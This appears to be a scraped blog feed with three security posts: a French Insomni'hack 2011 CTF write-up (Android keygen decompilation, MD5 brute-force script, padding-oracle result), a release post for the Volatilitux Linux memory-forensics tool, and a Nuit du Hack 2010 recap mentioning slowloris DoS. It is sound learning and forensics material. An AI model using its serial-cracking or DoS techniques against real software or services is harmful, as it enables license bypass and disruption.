Bruno Kerouanton termine en beauté par une conférence très axée old-school. Il y montre que la plupart des techniques de protections logicielles actuelles se basent sur celles utilisées par la demoscene à l’époque des MO5, Comodore 64 et autres Atari ST. Il faut dire que ça fait bizarre de voire de telles bestioles qui datent d’avant ma naissance  . Au programme : anti-debug, compression et obfuscation du code, utilisation du DMA, écriture entre les pistes des disquettes, et désynchronisation de l’écran pour pouvoir afficher une résolution plus grande que celle prévue (les prémices de la HD ?). On y découvre même les origines du fuzzing (utilisation d’opcodes non documentés), du GPGPU (utilisation du lecteur de disquette pour accélérer le traitement) et des hooks d’interruptions. Vraiment sympa !
Challenge
Cette année, 200 participants sont au rendez-vous pour le challenge ! Et cette fois, les équipes étaient autorisées ; c’est donc au sein de HZV que j’ai concouru. Cette année, SCRT a amélioré l’organisation en distribuant des badges RFID aux équipes afin d’accélérer la validation des points. Non, le pétage de ces badges ne faisait pas partie du challenge (et il n’aurait de toutes façon rien apporté  ). Par contre, gros point noir : comme l’année dernière, il n’y avait pas d’accès Internet. Seules les équipes prévoyantes (et disposant d’un forfait suisse) avaient prévues une connexion 3G…
Peu de temps après l’installation, l’interface contenant la liste des épreuves est disponible. Au programme : crypto, prog, réseau, reversing, stéganographie, et web. Voici un résumé de ce que j’ai pu faire.
Crypto 1
Ayant laissé le Web aux autres, je me suis personnellement acharné dans un premier temps sur les épreuves de crypto (personne ne voulait les faire…), à commencer par la première. Il s’agissait d’un texte chiffré, le but étant de le déchiffrer. Un indice : une table de fréquences de texte anglais traînait à côté du fichier, indiquant que certaines lettres était bien plus fréquentes que d’autres… La substitution mono-alphabétique était dont tout indiquée. Cependant, n’ayant pas retrouvé Cryptool tout de suite, je me suis galéré à calculer les fréquences du texte dans un premier temps en Python, et à commencer la substitution à la main, puis avec l’outil une fois retrouvé (ou comment perdre du temps lorsqu’on est pas réveillé). Finalement, le texte déchiffré n’était autre que le Hacker’s Manifesto, de The Mentor… Souvenir souvenir  .
Reverse 4
Il s’agissait d’une application Android à keygenner : validate.apk. On sort le SDK ainsi que dex2jar et jd-gui, et zou !
public void performCheck()
{
 if (this.mEditText_number != null);
 int k;
 try
 {
 String str1 = this.mEditText_number.getText().toString();
 Integer localInteger1 = Integer.valueOf(
    Integer.parseInt(str1.substring(0, 4)));
 Integer localInteger2 = Integer.valueOf(
    Integer.parseInt(str1.substring(4, 8)));
 byte[] arrayOfByte1 = { 76, 76, 147, 123, 103, 204, 141,
    120, 92, 234, 30, 66, 204, 234, 24, 92 };
 int i = localInteger1.intValue();
 int j = localInteger2.intValue();
 String str2 = Integer.valueOf(i + j).toString();
 byte[] arrayOfByte2 = getMD5(str2);
 k = 0;
 if (k >= 16)
 {
 label185: this.mEditText_number.setText("validated!");
 label201: return;
 }
 int l = arrayOfByte2[k];
 int i1 = arrayOfByte1[k];
 if (l == i1)
 break label241;
 label241: this.mEditText_number.setText("fail!");
 }
 catch (Exception localException)
 {
 localException.printStackTrace();
 break label201:
 k += 1;
 break label185:
 }
 }
}
Le code généré est un peu crado, mais on comprend très vite le traitement effectué. Le serial rentré doit être composé de chiffres, ceux-ci sont découpés en 2 groupes de 4 pour former 2 entiers, et le md5 de leur somme est ensuite comparé à une valeur constante. Autrement dit, il suffit de bruteforcer de la sorte en Python :
import md5
MAGIC = "4c4c937b67cc8d785cea1e42ccea185c"

for i in range(10000):
  for j in range(10000):
    if(md5.new(str(i+j)).hexdigest() == MAGIC):
      print i, j
Le résultat tombe au bout d’un dixième de seconde : MAGIC == MD5(« 6012″). Toute combinaison dont la somme fait 6012 est valide ; on choisit donc « 60120000″ qui fonctionne à merveille.
Programmation 4
Les épreuves les moins validées rapportant plus de points, je me suis lancé dans celle-ci. Il s’agissait de se connecter sur un port, et de résoudre un challenge 100 fois de suite. Celui-ci était simple : 4 séries de lettres A, B, C et D étaient affichées sous la forme d’un carré, avec une lettre par ligne remplacée par un X. Le but : répondre au serveur la liste des 4 lettres manquantes. Rien à voir avec le hack, mais fun quand même  . Voici le code du client qui résout l’épreuve (désolé, je n’ai pas celui du serveur) :
import socket

s = socket.socket()
s.connect(("epreuves2.insomni.hack", 4567))

def get_challenge():
  r = s.recv(4096).split("\n")[:-1]
  print r
  return [i.split() for i in r]

def solve_line(line):
  for i in range(4):
    l = chr(ord('A')+i)
    if(l not in line):
      return l

def solve_one_challenge():
  c = get_challenge()
  res =  "".join([' '.join(solve_line(c[i])) for i in range(4)])
  print res
  s.send(res+"\n")

for i in range(110):
  solve_one_challenge()
Oui, le programme crashe lamentablement une fois les 100 challenges résolus, et alors ? Le flag est bien retourné par le serveur et apparaît de façon bien visible (désolé, je n’ai pas de screenshot).
Crypto 2
A priori, on s’attend à un niveau légèrement plus élevé que la crypto 1. Que nenni, il s’agit en réalité d’une exploitation de Padding Oracle… En gros, elle consistait à déchiffrer un texte chiffré en 3DES utilisé en mode CBC avec un padding PKCS #5. Bien entendu, sans connaître la clé. Seules information disponible : on disposait d’une URL permettant de chiffrer un texte choisi, et une 2ème permettant de vérifier si le chiffrement était valide (comprendre padding) ou non. En d’autres termes, ce que l’on appelle un oracle de padding.
Je m’y étais intéressé vaguement il y a quelques mois, mais je n’avais à présent jamais réalisée en pratique. Faisable, me direz-vous… sauf que sans accès à Internet, cela l’est nettement moins. Je me suis donc acharné sur cette épreuve, en essayant de me souvenir des détails de l’algorithme de bruteforce intelligent. Au bout de plus de 2 heures, j’ai finalement abandonné. La suite plus bas dans cet article…
Web 1
Ne voulant pas rester sur un échec, je décide alors de donner un coup de main à mes collègues sur l’épreuve Web 1. Il s’agissait de générer le QR-code d’un billet pour une place dans un match qui se trouvait à un emplacement précis, un billet existant étant fourni. Armé de mon Android, le décodage du QR-code n’a pas pris longtemps,celui-ci contenait le numéro de place en clair, ainsi qu’un md5 calculé à partir de ce dernier. Le modifier semblait donc trivial. Le problème a commencé à se poser en ce qui concerne la génération du nouveau QR-code. De multiples bibliothèques existent, mais encore une fois, le problème de l’absence d’accès à Internet se faisait cruellement sentir… Jusqu’au moment ou un organisateur nous fasse remarquer qu’un outil (zxing) est visiblement disponible sur le repository dédié aux outils. Après avoir mis un bon quart d’heure à comprendre comment lancer l’interface flash de l’outil (aucun jar n’était fournit et nous ne disposions pas d’ant pour compiler les sources…) nous avons finalement réussi à générer une place valide.
Résultats du challenge
A 1h du matin, les scores sont freezés : l’équipe bles (l’équipe Nibbles était fragmenté en 2 teams Ni et bles…) arrive en tête, et HZv en 2ème. Nous restons toutefois très satisfaits de notre performance, vu que nous n’étions que 5, et relativement peu entraînés (première participation à un CTF pour 4 des participants), et sans accès Internet. Dans la table des scores qui suit, les breakthroughs correspondant aux épreuves qui ont été validées en 1er par la team en question.
Scores finaux (merci Shell-Storm !)
Padding Oracle, motherfucker, can you sploit it??
Ce n’est que le surlendemain, après avoir été hanté par l’épreuve crypto 2 (comme le lapin blanc de l’année dernière), que je m’y suis repenché sérieusement, lors de mon retour en France. Suite à une discussion avec le concepteur de l’épreuve, celui-ci a accepté de me fournir les sources et a accepté de les rendre publiques, ce qui était très sympathique de sa part. Ayant profité du week-end pour récupérer le papier exposant l’algorithme d’attaque (également repris ici), mon défi est alors de résoudre l’épreuve avant d’arriver Gare de Lyon (et que la batterie de mon laptop soit accessoirement épuisée).
Et finalement, j’y suis parvenu ! Le script decrypt.py brute-force l’oracle jusqu’à ce que le texte soit totalement déchiffré.
$ decrypt.py
107 100 14 189 34 129 105 16
45 183 29 222 187 198 199 73
186 149 253 197 187 249 250 132
122 234 55 178 99 117 171 142
C'est_bon_Peggy_je_gere!
Dans la foulée, j’ai réalisé une petite présentation que j’ai donnée au meeting HZV du samedi 2 avril. Les slides sont en ligne ici. Concernant le script, j’ai essayé de commenter suffisamment le script pour qu’il soit compréhensible. Et de toutes façon, je n’ai rien inventé puisque je me suis intégralement basé sur le papier cité ci-dessus.
En tout cas, on peut dire que ce challenge aura été riche en apprentissage. Je regrette juste que l’accès à Internet n’ait pas pu être donné, ou à défaut, un repository un peu plus fourni d’outils et de documentation… En tout cas bravo à l’équipe d’organisation, et à l’année prochaine !
]]>
			https://www.segmentationfault.fr/securite-informatique/insomnihack-2011/feed/
		4
		
		
		
		https://www.segmentationfault.fr/projets/volatilitux-physical-memory-analysis-linux-systems/
		https://www.segmentationfault.fr/projets/volatilitux-physical-memory-analysis-linux-systems/#comments
		Wed, 08 Dec 2010 00:09:36 +0000
		Emilien Girault
				
		
		
		

		http://www.segmentationfault.fr/?p=858
		
			As some of my followers may have seen, I have recently been working on a forensic tool called Volatilitux. It is pretty much the equivalent of the Volatility framework for Linux systems. I presented a pre-release version of this tool at last Hackerzvoice meeting; here are the slides (in French). Today, I am glad to announce the first release of this framework. And to celebrate, here is my first blog post attempt in English  .


Background
Volatilitux is a Python framework that helps extracting digital artifacts from raw physical memory (RAM) dumps of Linux systems. The goal of this tool is to offer a tool in a field that cruelly lacks of tools. It is mainly inspired by the SSTIC 2010 challenge whose purpose was to analyze the physical memory of an Android phone. When the challenge got released, the only suitable tool that existed was draugr; however it required two lines to be patched in order to be able to analyze the file.
I tried to solve this challenge but I quickly got stuck at the first step : listing all running processes and extracting the virtual memory map of each one. I learned a lot reading the kernel source code, some blog posts, and finally the challenge solutions when they got released. And I understood the biggest problem of physical memory analysis in Linux: most of kernel structure offsets change depending on the kernel version, configuration and patches. Thus, the first step was to detect all of those offsets. And then, use them to extract and browse all kernel objects.
I first detected those offsets manually by recompiling Android 2.1 kernel (using the NDK), running it into Google’s emulator (provided in the SDK), and then load a LKM in order to display all those offsets. It worked.
Then, I thought: «Since Volatility is a great tool but only supports Windows, why not develop a similar framework that works for Linux RAM dumps?»
I first came up with a version of the tool that required a configuration file containing all the offsets, as well as init_task symbol address and the architecture of the dump. Then, I chose to raise the bar a little higher, and automatically detects those offsets. And here we are…
Features
Here are the main features of the tool:

 Automatic detection of kernel structure offsets
Manual detection of those offsets using a Loadable Kernel Module
Supports multiple architectures: ARM, x86, x86 with PAE enabled
Can be used as a Python module in order to automate tasks and be embedded with other projects

Unlike Volatility, it now only supports a restricted set of commands:

pslist: print the list of all process
memmap: print the memory map of a process
memdmp: dump the addressable memory of a process
filedmp: dump an open file
filelist: print the list of all open files for a given process

Of course, since it is a framework, one can extends those features and easily add new architectures, commands, and kernel structures.
It has been tested on physical memory dumps of the folowing Linux distributions:

Android 2.1
Fedora 5 and 8
Debian 5
CentOS 5
Ubuntu with and without PAE

Requirements
Volatilitux requires Python 2.6. It only uses Python builtin modules, and does not rely on any external library.
It has mainly been tested on Windows XP, but it should run on any other platform.
Get the source
You can download and browse the source code of this tool on the Volatilitux Google Code project.
To download it directly:

volatilitux-1.0.zip

Please read the README.txt file, as it contains information on how to use the tool.
Known bug
Yes, Volatilitux already has a bug  . One of the kernel offset is not yet properly detected (actually, it is hardcoded due to lack of time!) for Ubuntu distributions. This will make the memmap command display incorrect information in the « Flag » column. However it should not prevent the other commands to run.
Quick Example
Here is how to use Volatilitux to extract the TextViewer Android application in the SSTIC 2010 challenge. Be sure to download the dump and extract « challv2″ to try it  .
$ volatilitux.py -f challv2 pslist
Name                PID       PPID
swapper             0         0
init                1         0
kthreadd            2         0
ksoftirqd/0         3         2
events/0            4         2
khelper             5         2
suspend             6         2
kblockd/0           7         2
cqueue              8         2
kseriod             9         2
kmmcd               10        2
pdflush             11        2
pdflush             12        2
kswapd0             13        2
aio/0               14        2
mtdblockd           21        2
hid_compat          22        2
rpciod/0            23        2
mmcqd               24        2
sh                  25        1
servicemanager      26        1
vold                27        1
debuggerd           28        1
rild                29        1
zygote              30        1
mediaserver         31        1
installd            32        1
keystore            33        1
init.goldfish.s     34        1
qemud               35        1
adbd                37        1
qemu-props          44        34
system_server       52        30
putmethod.latin     96        30
m.android.phone     98        30
d.process.acore     101       30
ndroid.settings     116       30
roid.alarmclock     136       30
d.process.media     147       30
com.android.mms     170       30
m.android.email     183       30
com.svox.pico       207       30
nssi.textviewer     227       30
om.anssi.secret     233       30

$ volatilitux.py -f challv2 memmap -p 227
Begin    End       Flags File
00008000-00009000  r-xp  app_process
00009000-0000a000  rwxp  app_process
0000a000-002dc000  rwxp
10000000-10001000  ---p
10001000-10100000  rwxp
40000000-40008000  r-xs  dev/ashmem/system_properties
40008000-40009000  r-xp
40009000-402aa000  rwxp  dev/ashmem/mspace/dalvik-heap/zygote/0
402aa000-41009000  ---p  dev/ashmem/mspace/dalvik-heap/zygote/0
41009000-41038000  r-xs  DroidSans.ttf
41038000-4104c000  rwxp
4104c000-4104d000  ---p  dev/ashmem/dalvik-LinearAlloc
4104d000-412c2000  rwxp  dev/ashmem/dalvik-LinearAlloc
412c2000-4154c000  ---p  dev/ashmem/dalvik-LinearAlloc
4154c000-416d0000  r-xs  core.jar
416d0000-41a5d000  r-xs  system@framework@core.jar@classes.dex
41a5d000-41a91000  rwxp
41a91000-41af6000  r-xs  ext.jar
41af6000-41bee000  r-xs  system@framework@ext.jar@classes.dex
41bee000-41e69000  r-xs  framework.jar
41e69000-4244d000  r-xs  system@framework@framework.jar@classes.dex
4244d000-424cb000  rwxp
424cb000-424de000  r-xs  android.policy.jar
424de000-42507000  r-xs  system@framework@android.policy.jar@classes.dex
42507000-42582000  r-xs  services.jar
42582000-4268d000  r-xs  system@framework@services.jar@classes.dex
4268d000-426b1000  rwxp
426b1000-426e6000  rwxp  dev/ashmem/dalvik-heap-bitmap/objects
426e6000-426f2000  rwxp
426f2000-426f3000  r-xs  dev/ashmem/SurfaceFlinger read-only heap
426f3000-426f8000  r-xs  com.anssi.textviewer.apk
426f8000-426fa000  r-xs  com.anssi.textviewer.apk
426fa000-426ff000  r-xs  com.anssi.textviewer.apk
426ff000-42700000  r-xs  data@app@com.anssi.textviewer.apk@classes.dex
42700000-42701000  rwxs  dev/ashmem/SurfaceFlinger Client control-block
42707000-42738000  rwxp
42738000-42767000  r-xs  DroidSans-Bold.ttf
42778000-427ae000  rwxp  dev/ashmem/dalvik-heap-bitmap/mark/0
427ba000-42c63000  r-xs  framework-res.apk
42c63000-42e14000  r-xs  framework-res.apk
42e14000-42e55000  rwxp  dev/ashmem/mspace/dalvik-heap/zygote/1
42e55000-43b74000  ---p  dev/ashmem/mspace/dalvik-heap/zygote/1
43b74000-43b75000  ---p
43b75000-43c74000  rwxp
43c74000-43c91000  rwxp
43cb9000-43cf9000  rwxp  dev/ashmem/dalvik-heap-bitmap/mark/1
43cf9000-43d3a000  rwxp  dev/ashmem/mspace/dalvik-heap/2
43d3a000-44a19000  ---p  dev/ashmem/mspace/dalvik-heap/2
44a19000-44a1a000  ---p
44a1a000-44b19000  rwxp
44b19000-44c17000  r-xp  binder
44c17000-44c18000  ---p
44c18000-44d17000  rwxp
44d17000-44d18000  ---p
44d18000-44e17000  rwxp
44e17000-45108000  r-xs  DroidSansFallback.ttf
80000000-80433000  r-xp  libicudata.so
80433000-80434000  rwxp  libicudata.so
80800000-8080a000  r-xp  libskiagl.so
8080a000-8080b000  rwxp  libskiagl.so
80900000-80902000  r-xp  libemoji.so
80902000-80903000  rwxp  libemoji.so
80a00000-80a03000  r-xp  gralloc.default.so
80a03000-80a04000  rwxp  gralloc.default.so
9a200000-9a256000  r-xp  libsrec_jni.so
9a256000-9a257000  rwxp  libsrec_jni.so
9d800000-9d808000  r-xp  libdrm1.so
9d808000-9d809000  rwxp  libdrm1.so
a6000000-a60cb000  r-xp  libopencore_common.so
a60cb000-a60d1000  rwxp  libopencore_common.so
a7000000-a70bd000  r-xp  libopencore_player.so
a70bd000-a70c5000  rwxp  libopencore_player.so
a7680000-a7697000  r-xp  libomx_amrenc_sharedlibrary.so
a7697000-a7698000  rwxp  libomx_amrenc_sharedlibrary.so
a7a00000-a7a30000  r-xp  libopencore_net_support.so
a7a30000-a7a33000  rwxp  libopencore_net_support.so
a7ba0000-a7bb5000  r-xp  libomx_sharedlibrary.so
a7bb5000-a7bb6000  rwxp  libomx_sharedlibrary.so
a9c00000-a9c07000  r-xp  libhardware_legacy.so
a9c07000-a9c08000  rwxp  libhardware_legacy.so
a9c70000-a9c71000  r-xp  libhardware.so
a9c71000-a9c72000  rwxp  libhardware.so
a9d00000-a9d29000  r-xp  libutils.so
a9d29000-a9d2a000  rwxp  libutils.so
a9d80000-a9da2000  r-xp  libbinder.so
a9da2000-a9da9000  rwxp  libbinder.so
aa000000-aa3c1000  r-xp  libwebcore.so
aa3c1000-aa418000  rwxp  libwebcore.so
aa418000-aa41a000  rwxp
aab00000-aab14000  r-xp  libexpat.so
aab14000-aab16000  rwxp  libexpat.so
aac00000-aac45000  r-xp  libsqlite.so
aac45000-aac46000  rwxp  libsqlite.so
ab200000-ab24a000  r-xp  libmedia.so
ab24a000-ab256000  rwxp  libmedia.so
ab300000-ab309000  r-xp  libmedia_jni.so
ab309000-ab30a000  rwxp  libmedia_jni.so
ab400000-ab41c000  r-xp  libvorbisidec.so
ab41c000-ab41d000  rwxp  libvorbisidec.so
ab500000-ab552000  r-xp  libsonivox.so
ab552000-ab553000  rwxp  libsonivox.so
ab553000-ab554000  rwxp
ac000000-ac13f000  r-xp  libskia.so
ac13f000-ac143000  rwxp  libskia.so
ac143000-ac146000  rwxp
ac400000-ac430000  r-xp  libui.so
ac430000-ac437000  rwxp  libui.so
ac500000-ac509000  r-xp  libexif.so
ac509000-ac50a000  rwxp  libexif.so
ac50a000-ac50c000  rwxp
ac700000-ac708000  r-xp  libEGL.so
ac708000-ac709000  rwxp  libEGL.so
ac709000-ac70b000  rwxp
acb00000-acb05000  r-xp  libGLESv1_CM.so
acb05000-acb06000  rwxp  libGLESv1_CM.so
acf00000-acf19000  r-xp  libpixelflinger.so
acf19000-acf1b000  rwxp  libpixelflinger.so
ad000000-ad07e000  r-xp  libdvm.so
ad07e000-ad081000  rwxp  libdvm.so
ad081000-ad082000  rwxp
ad200000-ad233000  r-xp  libnativehelper.so
ad233000-ad236000  rwxp  libnativehelper.so
ad300000-ad360000  r-xp  libandroid_runtime.so
ad360000-ad367000  rwxp  libandroid_runtime.so
ad367000-ad370000  rwxp
ad400000-ad4af000  r-xp  libicui18n.so
ad4af000-ad4b3000  rwxp  libicui18n.so
ad500000-ad5c0000  r-xp  libicuuc.so
ad5c0000-ad5c7000  rwxp  libicuuc.so
ad5c7000-ad5c8000  rwxp
adb00000-adb04000  r-xp  libnetutils.so
adb04000-adb05000  rwxp  libnetutils.so
adc00000-adc02000  r-xp  libwpa_client.so
adc02000-adc03000  rwxp  libwpa_client.so
af500000-af5a4000  r-xp  libcrypto.so
af5a4000-af5b7000  rwxp  libcrypto.so
af5b7000-af5b9000  rwxp
af700000-af722000  r-xp  libssl.so
af722000-af725000  rwxp  libssl.so
af900000-af913000  r-xp  libz.so
af913000-af914000  rwxp  libz.so
afb00000-afb0d000  r-xp  libcutils.so
afb0d000-afb0e000  rwxp  libcutils.so
afb0e000-afb1d000  rwxp
afbc0000-afbc3000  r-xp  liblog.so
afbc3000-afbc4000  rwxp  liblog.so
afc00000-afc20000  r-xp  libm.so
afc20000-afc21000  rwxp  libm.so
afd00000-afd01000  r-xp  libstdc++.so
afd01000-afd02000  rwxp  libstdc++.so
afe00000-afe38000  r-xp  libc.so
afe38000-afe3b000  rwxp  libc.so
afe3b000-afe46000  rwxp
b0000000-b000f000  r-xp  linker
b000f000-b0010000  rwxp  linker
b0010000-b0019000  rwxp
beada000-beaef000  rwxp [stack]

$ volatilitux.py -f challv2 filelist -p 227 | grep apk
com.anssi.textviewer.apk
data@app@com.anssi.textviewer.apk@classes.dex
framework-res.apk

$ volatilitux.py -f challv2 filedmp -p 227 -t com.anssi.textviewer.apk -o output.apk
Dumping from 426f3000 to 426f8000...
20480 bytes dumped to output.apk

$ unzip -l output.apk
Archive:  output.apk
  Length     Date   Time    Name
 --------    ----   ----    ----
      784  09-04-10 16:00   res/layout/main.xml
     2678  09-04-10 16:00   res/raw/chiffre.txt
     1288  09-04-10 16:00   AndroidManifest.xml
     1660  09-04-10 15:58   resources.arsc
     3966  09-04-10 15:58   res/drawable-hdpi/icon.png
     1537  09-04-10 15:58   res/drawable-ldpi/icon.png
     2200  09-04-10 15:58   res/drawable-mdpi/icon.png
     3092  09-04-10 16:00   classes.dex
      636  09-04-10 16:00   META-INF/MANIFEST.MF
      689  09-04-10 16:00   META-INF/CERT.SF
      689  09-04-10 16:00   META-INF/CERT.RSA
 --------                   -------
    19219                   11 files

$ unzip output.apk res/raw/chiffre.txt
Archive:  output.apk
  inflating: res/raw/chiffre.txt

$ head res/raw/chiffre.txt
Daxn uuaaidbiwsn,

Yvus kxpwidces ex pw?®mxy, rfgwo yir huy ebazr ?®wpgntmevonz svbowsnb :
        - Hps?¿l eax ldtp txloniwz, rfgwae-pxbs daxv hy phlmbykwgn irfmhj
        - q'ukhnehgj?®j xn Uayhl u uuaa ppnk z'focyet vbazr
        - ul fs?¿kx zj Gjyvjg r axn w?®, zovl ew llxzsf mtxqy ?
        - ul nfs wa hy ppgbgmaxkdl cbibpfcwl nf ynp qck?®y?® qv'xg 1993

Qsy ovit tknnp?® ?á loarnx asxaviu, othnxn aa qhleycxu dbgl h'fjysidtmeth.
Ahjpnma jhbbiux ea ric ke qtloj, cu lsu vaekza?® ln HIZ.

The remaining of the challenge is left as an exercise for the reader  .
Note: If some of the pages are partially missing in a file, Volatilitux will skip those page and only dump valid pages. See the dumpFile() method in the UserSpace class if you want to change that behavior.
You will find an example.py file in the root folder. You should read it it if you want to use the framework as a Python module.
Volatilitux Internals
Here are some implementation details.
Automatic detection of kernel structure offsets
The offset-detection algorithm used in Volatilitux is pretty simple; basically it is based on bruteforce and pruning heuristics. For each unknown offset or address, all potential values are tried, and an heuristic is used to decide whether the value is correct or not. Most of the time, the bruteforce occurs on two offsets at a time within two nested loops. The heuristic I use are sometimes pretty simple:

if ptr is supposed to contain a kernel address, then its value must be >= 0xC0000000
swapper.pid == 0 and init.pid == 1 (swapper and init are the first two process)
if s1 and s2 are the same type, and both contains 2 fields named f1 and f2, then (&s1.f2 – &s1.f1) == (&s2.f2 – &s2.f1), i.e. the delta between those offsets is constant for both structures

These heuristics ensure that the loops stop as soon as possible on bad offsets. The whole algorithm is implemented in core/forensics.py, which is actually the biggest file of the project…
Architecture
Volatilitux is fully object-oriented and makes use of nice Python features in order to be as extensible as possible, such as:

Simple and multiple inheritance
Decorators
Dynamic loading of modules
Operator overloading
Nested classes

Decorators are mainly used to simulate C++’s templates, and help reduce the amount of code.
All handled Linux kernel structures are represented by Python classes using the same scheme. They all inherits from KernelStruct. Here is an example with task_struct:
@unix_name("task_struct")
class Task(KernelStruct):

  @classmethod
  def initclass(cls):
    cls.fields_classes = {"pid": Field(int),
                          "comm": Field(str),
                          "parent": Pointer(Task),
                          "tasks": ListHead(Task),
                          "mm": Pointer(UserSpace),
                          }

  # More methods...

This syntax lets Volatilitux know that the structure has 5 fields:

pid is an integer
comm is a string (char *)
parent is a pointer to another task_struct
tasks is a double linked-list of task_structs
mm is a pointer to another structure (mm_struct which is represented by the UserSpace class)

Since KernelStruct uses operator overloading, every field can easily be accessed using the dot operator, as a regular object property.
That’s all for this quick post… I may publish more details in the following of the project. In the meanwhile, do not hesitate to browse the source code, leave a comment, or contact me directly if you have any questions  .
]]>
			https://www.segmentationfault.fr/projets/volatilitux-physical-memory-analysis-linux-systems/feed/
		16
		
		
		
		https://www.segmentationfault.fr/securite-informatique/nuit-du-hack-2010-bilan/
		https://www.segmentationfault.fr/securite-informatique/nuit-du-hack-2010-bilan/#comments
		Sun, 20 Jun 2010 20:28:31 +0000
		Emilien Girault
				
		

		http://www.segmentationfault.fr/?p=843
		
			La Nuit Du Hack 2010 est déjà finie… Courte et intense sont je pense les deux qualificatifs les plus adaptées à cet événement qui a battu une fois de plus ses records en terme de fréquentation. Je n’ai pas encore les chiffres exacts, mais nous avons enregistré pas moins de 600 entrées. Autant dire que la péniche Concorde Atlantique battait son plein… Comme Silkcut, je vais tenter de faire un petit résumé de l’événement, avec mon point de vue en tant que membre de l’équipe d’organisation.

[EDIT] Je viens de mettre en ligne mes slides ici. Toutes les autres sont dispos sur le site officiel.
[EDIT 2] Le challenge public a été mis en ligne sur cette page. Bonne chance à tous  
Préparation
Bien que l’événement ne dure qu’une nuit, il s’agit d’un travail de préparation de plusieurs mois. Outre le temps passé à rechercher des conférenciers et des ateliers, le développement du CTF et du challenge commun nous a pris plus d’un mois. Contrairement aux autres années, nous avions vraiment pris de l’avance sur l’organisation de l’événement, qui a débuté fin 2009.
En ce qui me concerne, j’étais chargé de gérer les conférences, et surtout veiller à ce que l’on ne prenne pas (trop) de retard sur le planning. J’ai fort heureusement été aidé par Silkcut et Vorex, sans qui je n’aurais probablement jamais réussi à gérer les deux tracks en simultané. Les ateliers étaient gérés par Heurs, les bars tenus par Crashfr, Pieuvre, Tr00ps, Freeman et Ginette, Olive s’occupait de l’organisation générale, John, Qbix et Philemon aux platines, Rosa, Cathy et Picon à l’accueil, pendant que Virtualabs, Sh4ka, Mysterie, Shell-storm, NiklosKoda et T0ka7a s’occupaient des challenges. Et encore, je suis sûr d’oublier à peu près la moitié des autres membres de l’équipe qui se sont investis dans l’installation de l’événement et son bon déroulement.
Conférences
N’ayant pu au final suivre que peu de conférences (sans cesse à courir partout pour gérer le timing et les imprévus) je ne pourrais malheureusement pas faire de résumé détaillé ici. Fort heureusement les slides seront bientôt publiées sur le site officiel. J’ai plus ou moins suivi la track 2 au rez-de chaussée, avec :

 Malwares Unix par Julien Reveret, où on apprend les facilités de propagation de codes malveillants qu’offrent ce type de plateforme
Xeek – XSS Easy Exploitation framework présentée par moi-même, où j’ai enfin publié l’outil sur lequel je bosse depuis un an. Le public a l’air d’avoir bien aimé la démo de xeekconsole, dommage que j’ai manqué de temps pour faire celle de xeekproxy. Je pensais faire un atelier à ce sujet, mais finalement je n’ai pas eu le temps. Les slides sont dispos ici, je rajouterai prochainement un tutorial d’installation/utilisation.
La sécurité antivirale est un échec, par Heurs, qui détruit le mythe de l’anti-virus en exposant une demi douzaine de vulnérabilités trouvées par fuzzing d’IOCTL, dont des 0-days, sur des solutions telles que Kaspersky, Bitdefender, Kerio, Comodo, etc.
Embedded Security par Geohot, une des guest-stars de l’événement, qui expose les mécanismes de sécurité des plateformes embarquées telles que les téléphones Nokia, l’iPhone et la PS3, et comment il est parvenu à toutes les faire tomber. Vraiment une excellent conférence… juste dommage que des problèmes vidéo nous aient empêchés de retransmettre la conférence à l’étage du dessus avec une qualité convenable.
Virtualisation et sécurité, par Emmanuel Istace, qui démontre que les deux ne sont pas synonymes, et qu’une fois de plus beaucoup de problèmes à ce sujet sont du à l’interface chaise-clavier…
Analyse avancée de la mémoire physique par Matthieu Suiche, qui expose les différentes techniques d’acquisition et d’analyse à l’aide des différents outils dont il est l’auteur : Win32dd, Moonsols Memory Toolkit
Lockpicking avancé par Cocolitos et Mr Jack, qui montrent par l’exemple différentes techniques d’ouverture de serrures de haute sécurité (certaines étant utilisées dans des coffres forts).

D’après les retours que j’ai eu, les conférences ont été bien appréciées. Quelques problèmes techniques ont été rencontrés : bug de micro, streaming de mauvaise qualité pour les confs de Geohot et Matthieu Suiche, coupure d’électricité… Je regrette vraiment ces problèmes qui font partie des aléas du direct (Murphy était parmi nous) et j’espère que cela n’aura pas trop embêté le public.
Je n’ai quasiment pas suivi les ateliers qui se déroulaient en parallèle aux confs et au CTF ; j’ai juste aperçu XavBox à son stand de puçage de console, NoCrash pour le lockpicking et Barbozor se préparant à tourner son premier épisode de la saison 3 de la grotte du barbu ayant pour thème le hacking de caddie…
Au final, les confs se terminent un peu après minuit (seulement une vingtaine de minutes de retard !), et laissent la place au challenge qui se déroule dans la cale.
Retrouvez toutes les slides sur le site officiel de la NDH.
Capture The Flag
Après avoir câblé toute la salle en une trentaine de minutes, les 12 équipes sont accueillies et s’installent. Virtualabs présente rapidement l’objectif du challenge. Comme l’année dernière, il s’agit de défendre ses serveurs (Windows et Linux) tout en attaquant ceux des autres équipes. Pour valider une faille, l’équipe doit récupérer un hash et le soumettre, chaque épreuve ne pouvant être résolue qu’une seule fois.
Les dénis de services sont autorisés, mais ne doivent pas cibler le serveur de monitoring. L’accès à Internet est fourni mais ne doit pas être utilisé pour communiquer avec des personnes extérieures sous peine de pertes de points voire de disqualification. La grosse nouveauté cette année est la présence d’un tableau de bord pour les équipes qui permet de suivre en temps réel l’évolution des scores. Les équipes sont libres de corriger leurs failles, mais ne disposent pas d’un accès root. En parallèle à cela, des épreuves communes sont lancées sur un serveur dédié.
Après quelques validations de la team Choucroute, les dénis de service deviennent rapidement (et malheureusement) la seule stratégie viable, du fait de la quantité importante de points perdue par l’équipe victime. Cela engendre alors un nombre assez importants de problèmes : plus de réseau pour certaines équipes, épreuves non accessibles, déconnexions SSH intempestives… Comme si cela ne suffisait pas, des problèmes internent viennent s’ajouter : problèmes au niveau du serveur de monitoring, crash de la base MySQL à cause d’une erreur de débranchement de prise électrique, problèmes sur les permissions des fichiers dus à une mauvaise version des ghosts déployés, etc. Sans parler du challenge public qui est assailli par des dizaines de participants et dont le Wifi souffre atrocement. Les concepteurs du CTF ne savent plus ou donner de la tête et sont sans cesse en train de redémarrer les VMs, patcher des fichiers sur les serveurs équipes (quand ceux-ci sont accessibles), etc. Et la team WWFamous ne les aide pas, puisque ce sont eux qui lancent majoritairement tous ces DoS à grand coup de slowloris et variantes sur SSH…
A 6h45, les WWFamous sont déclarés vainqueurs, Beerware terminent 2ème et Kowalski 3ème. Les lots sont distribués : disques datalocker, place pour Hacker Halted à Miami, formations…
Le public quitte tranquillement la péniche, tandis que nous remballons tout le matériel en luttant contre la fatigue…
